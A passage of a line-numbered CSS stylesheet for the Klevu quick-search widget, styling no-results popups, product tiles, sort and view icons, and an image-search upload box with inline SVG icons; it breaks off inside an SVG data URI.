float: left; 5264 width: 100%; 5265 margin-left: 8px 5266 } 5267 5268 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductName { 5269 font-weight: bold; 5270 color: #333; 5271 word-wrap: break-word 5272 } 5273 5274 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductDesc { 5275 color: #333 5276 } 5277 5278 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickSalePrice { 5279 font-weight: bold; 5280 margin-bottom: 5px; 5281 color: #333 5282 } 5283 5284 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickOrigPrice { 5285 margin-left: 5px; 5286 text-decoration: line-through; 5287 color: #333 5288 } 5289 5290 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li:hover { 5291 background-color: #f5f5f5 5292 } 5293 5294 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li:hover .klevuQuickSearchNoResultsPopular ul li div { 5295 color: #fff !important 5296 } 5297 5298 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemTop { 5299 margin: 0; 5300 box-sizing: border-box; 5301 float: left; 5302 padding: 5px; 5303 position: relative; 5304 width: 20% 5305 } 5306 5307 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemBottom { 5308 margin: 0; 5309 box-sizing: border-box; 5310 padding: 5px; 5311 position: relative; 5312 min-height: 60px; 5313 float: left; 5314 width: 80% 5315 } 5316 5317 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemBottom .klevu-desc-l2 { 5318 color: #8a8a8a; 5319 font-size: 13px 5320 } 5321 5322 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickImgWrap { 5323 float: none; 5324 overflow: hidden; 5325 width: 100% !important; 5326 height: 70px !important; 5327 text-align: center 5328 } 5329 5330 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular img { 5331 max-width: 100% !important; 5332 max-height: 100% !important; 5333 width: auto; 5334 height: auto; 5335 border: 0; 5336 outline: 0; 5337 display: inline-block; 5338 margin: 0 auto; 5339 opacity: 1 5340 } 5341 5342 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickDiscountBadge { 5343 background: #ffcc01; 5344 padding: 0 5px; 5345 color: #333; 5346 font-size: 9px; 5347 position: absolute; 5348 top: 6px; 5349 left: 4px 5350 } 5351 5352 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickDiscountBadge strong { 5353 color: #333 5354 } 5355 5356 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResults { 5357 text-align: center; 5358 font-size: 13px; 5359 padding: 0 5360 } 5361 5362 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResults .klevuQuickNoResultsInner { 5363 padding: 15px; 5364 margin: 0 5365 } 5366 5367 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResultsMessage { 5368 background: transparent; 5369 font-size: 13px; 5370 padding: 20px; 5371 text-align: center; 5372 border: 0 5373 } 5374 5375 .kuQuickSearchNoRecordFound .searchRequestLoading .klevuQuickSearchingArea { 5376 opacity: .6; 5377 pointer-events: none 5378 } 5379 5380 .kuQuickSearchNoRecordFound .klevuPopularProductsHeading { 5381 text-align: left; 5382 padding: 8px 15px; 5383 text-transform: uppercase 5384 } 5385 5386 .kuQuickSearchNoRecordFound .kuNoResultsContainer { 5387 max-width: 100% 5388 } 5389 5390 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchesBlock { 5391 padding: 10px 5392 } 5393 5394 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms ul { 5395 margin: 0; 5396 padding: 0 3px; 5397 text-align: left 5398 } 5399 5400 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li { 5401 display: block; 5402 list-style: none; 5403 margin: 0; 5404 text-transform: capitalize; 5405 cursor: pointer; 5406 text-align: left 5407 } 5408 5409 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li:hover { 5410 background-color: #f5f5f5 5411 } 5412 5413 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li a { 5414 display: block; 5415 padding: 5px; 5416 line-height: 14px; 5417 color: #333; 5418 text-decoration: none; 5419 font-size: 13px 5420 } 5421 5422 @media only screen and (max-width:1024px) { 5423 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 5424 width: 50% 5425 } 5426 5427 .kuQuickSearchNoRecordFound .klevuQuickSearchNoResultsPopular .klevuQuickImgWrap { 5428 height: 55px !important 5429 } 5430 } 5431 5432 @media only screen and (max-width:767px) { 5433 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 5434 max-width: 400px; 5435 width: 70% 5436 } 5437 } 5438 5439 @media only screen and (max-width:480px) { 5440 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 5441 width: 98%; 5442 left: 1% !important 5443 } 5444 5445 .kuQuickSearchNoRecordFound .klevu-fluid .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductDesc { 5446 display: none 5447 } 5448 } 5449 5450 @media only screen and (max-width:420px) { 5451 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 5452 max-width: 100% 5453 } 5454 } 5455 5456 .kuCaptionStockIn { 5457 font-size: 11px; 5458 color: green; 5459 display: inline-block; 5460 padding: 0; 5461 float: left; 5462 width: 100%; 5463 box-sizing: border-box; 5464 margin: 2px 0 5465 } 5466 5467 .kuQuickCaptionStockOut { 5468 font-size: 11px; 5469 color: Red; 5470 display: inline-block; 5471 padding: 0; 5472 float: left; 5473 min-height: 30px; 5474 width: 100%; 5475 box-sizing: border-box; 5476 margin: 2px 0 5477 } 5478 5479 .kuQuickSearchResultsContainer .kuCaptionVat { 5480 display: block; 5481 font-size: 11px; 5482 color: #767676; 5483 width: 100%; 5484 float: left; 5485 margin: 0; 5486 padding: 0; 5487 box-sizing: border-box; 5488 margin: 2px 0 5489 } 5490 5491 .kuQuickSearchFacetedLayout .productListActive [data-content="cmsCompressed"] { 5492 display: none !important 5493 } 5494 5495 .kuQuickSearchFacetedLayout .cmsCompressedActive [data-content="productList"] { 5496 display: none !important 5497 } 5498 5499 .kuQuickSearchFacetedLayout .kuContainer { 5500 width: 100%; 5501 margin: 0 auto; 5502 font-family: inherit; 5503 font-size: 12px; 5504 -moz-box-sizing: border-box; 5505 -webkit-box-sizing: border-box; 5506 box-sizing: border-box; 5507 width: 100% !important; 5508 padding: 0 !important 5509 } 5510 5511 .kuQuickSearchFacetedLayout .kuContainer .kuTabs { 5512 margin: 0 auto !important; 5513 text-align: center; 5514 border-bottom: 1px solid #eee 5515 } 5516 5517 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a { 5518 padding: 8px; 5519 cursor: pointer; 5520 margin-right: 5px; 5521 color: #333; 5522 display: inline-block; 5523 position: relative 5524 } 5525 5526 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a:hover { 5527 border-bottom: 3px solid #ddd; 5528 text-decoration: none 5529 } 5530 5531 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a.kuTabSelected { 5532 border-bottom: 3px solid #ddd 5533 } 5534 5535 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a.kuTabSelected:hover { 5536 background: 0 5537 } 5538 5539 .kuQuickSearchFacetedLayout .kuSort { 5540 display: inline-block; 5541 margin: 0; 5542 height: 15px; 5543 width: 15px; 5544 background-repeat: no-repeat !important 5545 } 5546 5547 .kuQuickSearchFacetedLayout .kuSort.kuQuickRelSort { 5548 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-relevance.png) no-repeat 0 0; 5549 cursor: pointer; 5550 margin-right: 2px 5551 } 5552 5553 .kuQuickSearchFacetedLayout .kuSort.kuQuickRelSort:hover { 5554 background-position: 0 -17px 5555 } 5556 5557 .kuQuickSearchFacetedLayout .kuSort.kuActiveSort { 5558 background-position: 0 -17px 5559 } 5560 5561 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort { 5562 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-p-low-to-high.png) no-repeat 0 0; 5563 cursor: pointer; 5564 margin-right: -4px 5565 } 5566 5567 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort { 5568 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-p-high-to-low.png) no-repeat 0 0; 5569 cursor: pointer 5570 } 5571 5572 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort.kuActiveSort { 5573 background-position: 0 -17px 5574 } 5575 5576 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort.kuActiveSort:hover { 5577 background-position: 0 -17px 5578 } 5579 5580 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort.kuActiveSort { 5581 background-position: 0 -17px 5582 } 5583 5584 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort.kuActiveSort:hover { 5585 background-position: 0 -17px 5586 } 5587 5588 .kuQuickSearchFacetedLayout .kuSort:hover { 5589 background-position: 0 -17px 5590 } 5591 5592 .kuQuickSearchFacetedLayout .kuQuickResultsViewSwitchContainer { 5593 display: inline-block; 5594 float: left 5595 } 5596 5597 .kuQuickSearchFacetedLayout .kuDropdown.kuQuickFacetedLayoutSort { 5598 float: left; 5599 display: inline-block; 5600 float: right 5601 } 5602 5603 .kuQuickResultsViewSwitchContainer { 5604 position: relative; 5605 display: inline-block; 5606 z-index: 11; 5607 width: auto; 5608 padding: 10px 5px 5609 } 5610 5611 .kuQuickResultsViewSwitchContainer a { 5612 display: inline-block; 5613 width: 22px; 5614 height: 22px; 5615 margin-left: 4px;
5616 text-align: center; 5617 vertical-align: middle; 5618 overflow: hidden 5619 } 5620 5621 .kuQuickResultsViewSwitchContainer a.kuCurrent { 5622 background-position: 0 -25px; 5623 text-decoration: none 5624 } 5625 5626 .kuQuickResultsViewSwitchContainer .kuGridViewBtn { 5627 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/ku-gridview.png) no-repeat 0 0; 5628 cursor: pointer 5629 } 5630 5631 .kuQuickResultsViewSwitchContainer .kuListViewBtn { 5632 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/ku-listview.png) no-repeat 0 0; 5633 cursor: pointer 5634 } 5635 5636 [data-result-view='list'] .klevuProduct { 5637 width: 100% !important 5638 } 5639 5640 [data-result-view='list'] .klevuProduct:hover .kuProdAdditional { 5641 box-shadow: none !important 5642 } 5643 5644 [data-result-view='list'] .klevuProduct main { 5645 display: inline-block; 5646 width: 30% 5647 } 5648 5649 [data-result-view='list'] .klevuProduct footer { 5650 display: inline-block; 5651 width: 69% 5652 } 5653 5654 [data-result-view='list'] .klevuProduct .kuProdAdditional { 5655 position: relative !important; 5656 visibility: unset !important; 5657 border: 0 !important 5658 } 5659 5660 [data-result-view='list'] .klevuProduct .kuAddtocart .kuBtn { 5661 display: inline-block 5662 } 5663 5664 @media only screen and (max-width:576px) { 5665 [data-result-view='list'] .klevuProduct main { 5666 width: 100% 5667 } 5668 5669 [data-result-view='list'] .klevuProduct footer { 5670 width: 100% 5671 } 5672 5673 [data-result-view='list'] .klevuProduct .kuAddtocart .kuBtn { 5674 display: block 5675 } 5676 } 5677 5678 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart { 5679 margin: 0; 5680 position: absolute; 5681 display: inline-block; 5682 bottom: 10px; 5683 right: 5px; 5684 width: auto 5685 } 5686 5687 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart .kuBtn { 5688 padding: 3px 6px; 5689 font-size: 9px !important 5690 } 5691 5692 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart img { 5693 max-width: 80px !important; 5694 height: auto; 5695 max-height: 45px !important 5696 } 5697 5698 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart { 5699 margin: 0; 5700 position: absolute; 5701 display: inline-block; 5702 bottom: 10px; 5703 right: 5px; 5704 width: auto 5705 } 5706 5707 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart .kuBtn { 5708 padding: 3px 6px; 5709 font-size: 9px !important 5710 } 5711 5712 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart img { 5713 max-width: 80px !important; 5714 height: auto; 5715 max-height: 45px !important 5716 } 5717 5718 .kuQuickSearchFacetedLayout .klevuQuickSearchResults .klevuQuickAddtoCart { 5719 margin: 0; 5720 position: absolute; 5721 display: inline-block; 5722 bottom: 15px; 5723 right: 5px; 5724 width: auto; 5725 visibility: hidden; 5726 opacity: 0 5727 } 5728 5729 .kuQuickSearchFacetedLayout .klevuResultsBlock .klevuQuickSearchResults ul li:hover .klevuQuickAddtoCart { 5730 visibility: visible; 5731 opacity: 1 5732 } 5733 5734 .kuQuickSearchFacetedLayout .kuPriceSlider { 5735 width: auto; 5736 min-width: 190px; 5737 max-width: 98%; 5738 padding: 20px; 5739 margin: auto; 5740 position: relative; 5741 box-sizing: border-box 5742 } 5743 5744 .kuQuickSearchFacetedLayout .kuPriceSlider .noUi-tooltip { 5745 font-size: 90% 5746 } 5747 5748 .kuQuickSearchFacetedLayout .sliderFilterNames { 5749 height: 90px 5750 } 5751 5752 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer { 5753 text-align: center 5754 } 5755 5756 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer .kuLoadMoreBtn { 5757 width: 100%; 5758 margin: 12px 0; 5759 height: 34px; 5760 border: 0; 5761 border-radius: 2px; 5762 cursor: pointer 5763 } 5764 5765 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer .kuLoadMoreBtn.hide { 5766 display: none !important 5767 } 5768 5769 .kuQuickSearchFacetedLayout .klevuProductLoadMore { 5770 width: 100% !important; 5771 min-height: 40px !important; 5772 border: none !important 5773 } 5774 5775 .kuQuickSearchFacetedLayout .klevuProductLoadMore:hover { 5776 background-color: transparent !important 5777 } 5778 5779 .kuQuickSearchFacetedLayout .klevuProductLoadMore.hide { 5780 display: none !important 5781 } 5782 5783 .kuImageSearchSelector { 5784 cursor: pointer 5785 } 5786 5787 .kuImageSearchSelector::before { 5788 content: url(data:image/svg+xml,%3Csvg%20width%3D%2216%22%20height%3D%2214%22%20viewBox%3D%220%200%2016%2014%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%20%20%3Cpath%20d%3D%22M11.7692%203.18182L11.0154%201.6C10.8538%201.21818%2010.4769%201%2010.0462%201H6.00769C5.57692%201%205.2%201.21818%205.03846%201.6L4.23077%203.18182H2.07692C1.48462%203.18182%201%203.67273%201%204.27273V11.9091C1%2012.5091%201.48462%2013%202.07692%2013H13.9231C14.5154%2013%2015%2012.5091%2015%2011.9091V4.27273C15%203.67273%2014.5154%203.18182%2013.9231%203.18182H11.7692Z%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3Cpath%20d%3D%22M8.00006%2010.8182C9.78436%2010.8182%2011.2308%209.35291%2011.2308%207.54543C11.2308%205.73795%209.78436%204.27271%208.00006%204.27271C6.21575%204.27271%204.76929%205.73795%204.76929%207.54543C4.76929%209.35291%206.21575%2010.8182%208.00006%2010.8182Z%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3Cpath%20d%3D%22M2.07703%204.81812H3.69241%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3C%2Fsvg%3E); 5789 display: inline-block; 5790 width: 16px; 5791 margin-left: 10px; 5792 cursor: pointer 5793 } 5794 5795 .klevuTarget.klevu-fluid.kuEmptySearchBox .kuQuickImageSearchWra
5795p, 5796 .klevuTarget.kuQuickSearchFacetedLayout .kuQuickImageSearchWrap, 5797 .klevuTarget.kuQuickSearchResultsContainer .kuQuickImageSearchWrap, 5798 .klevuTarget.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 5799 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 5800 .klevuTarget .kuQuickImageSearchWrap { 5801 max-width: 400px !important; 5802 min-width: auto !important; 5803 width: 100% !important 5804 } 5805 5806 .kuQuickSearchImageUploadContainer { 5807 max-width: 400px !important 5808 } 5809 5810 .kuQuickSearchImageUploadContainer .klevuQuickSearchingArea { 5811 padding: 1rem !important 5812 } 5813 5814 .kuQuickSearchImageUploadContainer .kuImageUploadErrorMsgContainer p { 5815 color: red; 5816 margin: 0; 5817 font-size: 12px 5818 } 5819 5820 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn { 5821 width: 100%; 5822 margin: 20px 0; 5823 text-align: center; 5824 padding: 10px; 5825 border-width: 0; 5826 background-color: #343420; 5827 color: #fff; 5828 cursor: pointer 5829 } 5830 5831 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText::before { 5832 display: inline-block; 5833 width: 16px; 5834 margin-right: 5px; 5835 cursor: pointer 5836 } 5837 5838 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText.upload::before { 5839 content: url(data:image/svg+xml,%3Csvg%20width%3D%2210%22%20height%3D%2211%22%20viewBox%3D%220%200%2010%2011%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M0.333333%207.95508C0.149%207.95508%200%208.10441%200%208.28841V10.3327C0%2010.5167%200.149%2010.6661%200.333333%2010.6661H9.66667C9.851%2010.6661%2010%2010.5167%2010%2010.3327V8.28841C10%208.10441%209.851%207.95508%209.66667%207.95508C9.48233%207.95508%209.33333%208.10441%209.33333%208.28841V9.99941H0.666667V8.28841C0.666667%208.10441%200.517667%207.95508%200.333333%207.95508Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M5.01445%208.62233C5.19878%208.62233%205.34778%208.473%205.34778%208.289V1.119L7.46211%203.16133C7.52645%203.224%207.61011%203.255%207.69345%203.255C7.78078%203.255%207.86778%203.221%207.93311%203.15333C8.06111%203.021%208.05745%202.81%207.92511%202.682L5.25078%200.0983334C5.25045%200.098%205.25045%200.0980001%205.25011%200.0976667L5.24578%200.0936667C5.23378%200.082%205.21878%200.077%205.20578%200.0676667C5.18445%200.0523334%205.16478%200.0353334%205.14045%200.0253334C5.10245%200.00966674%205.06211%200.00233355%205.02145%200.00133355C5.01911%200.00133355%205.01678%200%205.01445%200C5.01211%200%205.00978%200.00133355%205.00745%200.00133355C4.96678%200.00233355%204.92678%200.00966674%204.88845%200.0253334C4.86411%200.0353334%204.84445%200.0523335%204.82312%200.0673335C4.81012%200.0770002%204.79511%200.082%204.78311%200.0936667L4.77911%200.0973333C4.77878%200.0976666%204.77878%200.0976669%204.77845%200.0980002L2.10412%202.68167C1.97178%202.80967%201.96812%203.02067%202.09612%203.153C2.22345%203.28533%202.43545%203.28933%202.56711%203.161L4.68145%201.11867V8.28867C4.68111%208.473%204.83011%208.62233%205.01445%208.62233Z%22%20fill%3D%22white%22%2F%3E%0A%3C%2Fsvg%3E) 5840 } 5841 5842 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText.processing::before { 5843 position: absolute; 5844 margin-left: -20px; 5845 content: url(data:image/svg+xml,%0A%3Csvg%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M8%204.5C7.8674%204.5%207.74023%204.44732%207.64645%204.35355C7.55268%204.25977%207.5%204.1326%207.5%204V1C7.5%200.867392%207.55268%200.740215%207.64645%200.646447C7.74023%200.552677%207.8674%200.5%208%200.5C8.1326%200.5%208.25977%200.552677%208.35355%200.646447C8.44732%200.740215%208.5%200.867392%208.5%201V4C8.5%204.1326%208.44732%204.25977%208.35355%204.35355C8.25977%204.44732%208.1326%204.5%208%204.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M10.82%205.68005C10.7209%205.68013%2010.624%205.65075%2010.54
584516%205.59568C10.4593%205.54058%2010.3951%205.46225%2010.3573%205.37063C10.3196%205.27903%2010.3099%205.17825%2010.3295%205.0811C10.3491%204.98395%2010.3971%204.89485%2010.4675%204.82505L12.595%202.69755C12.6414%202.6511%2012.6966%202.61425%2012.7573%202.5891C12.818%202.56398%2012.883%202.55103%2012.9487%202.55103C13.0144%202.55103%2013.0795%202.56398%2013.1402%202.5891C13.2009%202.61425%2013.256%202.6511%2013.3025%202.69755C13.3489%202.744%2013.3858%202.79915%2013.4109%202.85985C13.4361%202.92055%2013.449%202.9856%2013.449%203.0513C13.449%203.117%2013.4361%203.18205%2013.4109%203.24275C13.3858%203.30345%2013.3489%203.3586%2013.3025%203.40505L11.175%205.53255C11.1285%205.57935%2011.0732%205.61648%2011.0122%205.64178C10.9513%205.6671%2010.886%205.6801%2010.82%205.68005Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M15%208.5H12C11.8674%208.5%2011.7402%208.44732%2011.6465%208.35355C11.5527%208.25977%2011.5%208.1326%2011.5%208C11.5%207.8674%2011.5527%207.74023%2011.6465%207.64645C11.7402%207.55268%2011.8674%207.5%2012%207.5H15C15.1326%207.5%2015.2598%207.55268%2015.3535%207.64645C15.4473%207.74023%2015.5%207.8674%2015.5%208C15.5%208.1326%2015.4473%208.25977%2015.3535%208.35355C15.2598%208.44732%2015.1326%208.5%2015%208.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M12.9501%2013.4499C12.8841%2013.45%2012.8188%2013.437%2012.7578%2013.4117C12.6969%2013.3864%2012.6416%2013.3492%2012.5951%2013.3024L10.4676%2011.1749C10.3738%2011.0811%2010.321%2010.9539%2010.321%2010.8212C10.321%2010.6885%2010.3738%2010.5613%2010.4676%2010.4674C10.5614%2010.3736%2010.6886%2010.3209%2010.8213%2010.3209C10.954%2010.3209%2011.0813%2010.3736%2011.1751%2010.4674L13.3026%2012.5949C13.3729%2012.6647%2013.421%2012.7538%2013.4406%2012.851C13.4602%2012.9481%2013.4505%2013.0489%2013.4127%2013.1405C13.375%2013.2321%2013.3108%2013.3105%2013.2284%2013.3656C13.1461%2013.4206%2013.0492%2013.45%2012.9501%2013.4499Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M8%2015.5C7.8674%2015.5%207.74023%2015.4473%207.64645%2015.3535C7.55268%2015.2598%207.5%2015.1326%207.5%2015V12C7.5%2011.8674%207.55268%2011.7402%207.64645%2011.6465C7.74023%2011.5527%207.8674%2011.5%208%2011.5C8.1326%2011.5%208.25977%2011.5527%208.35355%2011.6465C8.44732%2011.7402%208.5%2011.8674%208.5%2012V15C8.5%2015.1326%208.44732%2015.2598%208.35355%2015.3535C8.25977%2015.4473%208.1326%2015.5%208%2015.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M3.04997%2013.4499C2.95087%2013.45%202.85397%2013.4206%202.77159%2013.3656C2.68922%2013.3105%202.62509%2013.2321%202.58732%2013.1405C2.54954%2013.0489%202.53984%2012.9481%202.55944%2012.851C2.57907%2012.7538%202.62709%2012.6647%202.69747%2012.5949L4.82497%2010.4674C4.87142%2010.421%204.92657%2010.3841%204.98727%2010.359C5.04797%2010.3339%205.11302%2010.3209%205.17872%2010.3209C5.24442%2010.3209%205.30947%2010.3339%205.37017%2010.359C5.43087%2010.3841%205.48602%2010.421%205.53247%2010.4674C5.57892%2010.5139%205.61577%2010.569%205.64092%2010.6297C5.66604%2010.6904%205.67899%2010.7555%205.67899%2010.8212C5.67899%2010.8869%205.66604%2010.9519%205.64092%2011.0126C5.61577%2011.0733%205.57892%2011.1285%205.53247%2011.1749L3.40497%2013.3024C3.35844%2013.3492%203.30314%2013.3864%203.24222%2013.4117C3.18127%2013.437%203.11594%2013.45%203.04997%2013.4499Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M4%208.5H1C0.867392%208.5%200.740215%208.44732%200.646447%208.35355C0.552677%208.25977%200.5%208.1326%200.5%208C0.5%207.8674%200.552677%207.74023%200.646447%207.64645C0.740215%207.55268%200.867392%207.5%201%207.5H4C4.1326%207.5%204.25977%207.55268%204.35355%207.64645C4.44732%207.74023%204.5%207.8674%204.5%208C4.5%208.1326%204.44732%208.25977%204.35355%208.35355C4.25977%208.44732%204.1326%208.5%204%208.5Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M5.18005%205.68005C5.11407%205.6801%205.04872%205.6671%204.9878%205.64178C4.92687%205.61648%204.87155%205.57935%204.82505%205.53255L2.69755%203.40505C2.65108%203.3586%202.61423%203.30345%202.5891%203.24275C2.56395%203.18205%202.55103%203.117%202.55103%203.0513C2.55103%202.9856%202.56395%202.92055%202.5891%202.85985C2.61423%202.79915%202.65108%202.744%202.69755%202.69755C2.744%202.6511%202.79915%202.61425%202.85985%202.5891C2.92055%202.56398%202.9856%202.55103%203.0513%202.55103C3.117%202.55103%203.18205%202.56398%203.24275%202.5891C3.30342%202.61425%203.35857%202.6511%203.40505%202.69755L5.5325
58455%204.82505C5.6029%204.89485%205.65095%204.98395%205.67055%205.0811C5.69017%205.17825%205.68047%205.27903%205.6427%205.37063C5.60492%205.46225%205.54077%205.54058%205.4584%205.59568C5.37602%205.65075%205.27915%205.68013%205.18005%205.68005Z%22%20fill%3D%22white%22%2F%3E%0A%3C%2Fsvg%3E%0A) 5846 } 5847 5848 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn img, 5849 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn svg { 5850 margin-right: 5px 5851 } 5852 5853 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn:disabled { 5854 cursor: default; 5855 opacity: .95 5856 } 5857 5858 .kuQuickSearchImageUploadContainer .kuQuickUploadHeaderTitle { 5859 font-size: 1.3em; 5860 display: block 5861 } 5862 5863 .kuQuickSearchImageUploadContainer .kuQuickImageSearchForm { 5864 display: none !important 5865 } 5866 5867 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote { 5868 position: relative 5869 } 5870 5871 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote .kuImgSearchPrivacyNoteInfo { 5872 padding-left: 24px 5873 } 5874 5875 .kuQuickSearchImageUploadContainer .kuImgSearchPrivacyNote .kuImgSearchPrivacyNoteInfo::before { 5876 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%206.832031%206%20L%207.167969%206%20C%207.351562%206%207.5%206.183594%207.5%206.332031%20L%207.5%2010.332031%20C%207.5%2010.515625%207.351562%2010.664062%207.167969%2010.664062%20L%206.832031%2010.664062%20C%206.648438%2010.664062%206.5%2010.480469%206.5%2010.332031%20L%206.5%206.332031%20C%206.5%206.148438%206.648438%206%206.832031%206%20Z%20M%206.832031%206%20%22%2F%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%206.832031%203.671875%20L%207.167969%203.671875%20C%207.351562%203.671875%207.5%203.855469%207.5%204.003906%20L%207.5%204.671875%20C%207.5%204.855469%207.351562%205.003906%207.167969%205.003906%20L%206.832031%205.003906%20C%206.648438%205.003906%206.5%204.820312%206.5%204.671875%20L%206.5%204.003906%20C%206.5%203.820312%206.648438%203.671875%206.832031%203.671875%20Z%20M%206.832031%203.671875%20%22%2F%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%207%2012.992188%20C%208.589844%2012.992188%2010.113281%2012.363281%2011.238281%2011.238281%20C%2012.363281%2010.113281%2012.992188%208.589844%2012.992188%207%20C%2012.992188%205.410156%2012.363281%203.886719%2011.238281%202.761719%20C%2010.113281%201.636719%208.589844%201.007812%207%201.007812%20C%205.410156%201.007812%203.886719%201.636719%202.761719%202.761719%20C%201.636719%203.886719%201.007812%205.410156%201.007812%207%20C%201.007812%208.589844%201.636719%2010.113281%202.761719%2011.238281%20C%203.886719%2012.363281%205.410156%2012.992188%207%2012.992188%20Z%20M%207%2013.992188%20C%205.144531%2013.992188%203.367188%2013.257812%202.054688%2011.945312%20C%200.742188%2010.632812%200.0078125